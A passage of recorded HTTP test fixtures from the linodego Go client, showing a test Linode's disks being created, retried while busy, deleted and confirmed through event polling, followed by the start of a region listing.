{"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "926f6f61bf1247b3667bd94b88cd5ac7c8d33901", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "720" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701235, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 14.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "440" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701235 method: GET response: body: '{"id": 615701235, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 14.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": null, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "391" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"deleteEvent-0","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"id": 105633086, "status": "not ready", "label": "deleteEvent-0", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 512}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "169" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:20 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:23 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: '{"label":"deleteEvent-1","size":512}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks method: POST response: body: '{"id": 105633090, "status": "not ready", "label": "deleteEvent-1", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 512}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "169" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:27 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:30 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:34 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633086 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:41 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:49 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734/disks/105633090 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:08:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}, {"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701539 method: GET response: body: '{"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"disk_delete","entity.id":53282734,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}, {"id": 615701539, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 13.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633086, "type": "disk", "label": "deleteEvent-0", "url": "/v4/linode/instances/53282734/disks/105633086"}, "message": ""}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/events/615701642 method: GET response: body: '{"id": 615701642, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 12.0, "action": "disk_delete", "username": "lgarber-dev", "entity": {"label": "go-ins-poll-test", "id": 53282734, "type": "linode", "url": "/v4/linode/instances/53282734"}, "status": "finished", "secondary_entity": {"id": 105633090, "type": "disk", "label": "deleteEvent-1", "url": "/v4/linode/instances/53282734/disks/105633090"}, "message": ""}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "500" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53282734 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 20 Dec 2023 22:09:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewallDevice_Delete.yaml000066400000000000000000001145761474652371000324750ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", 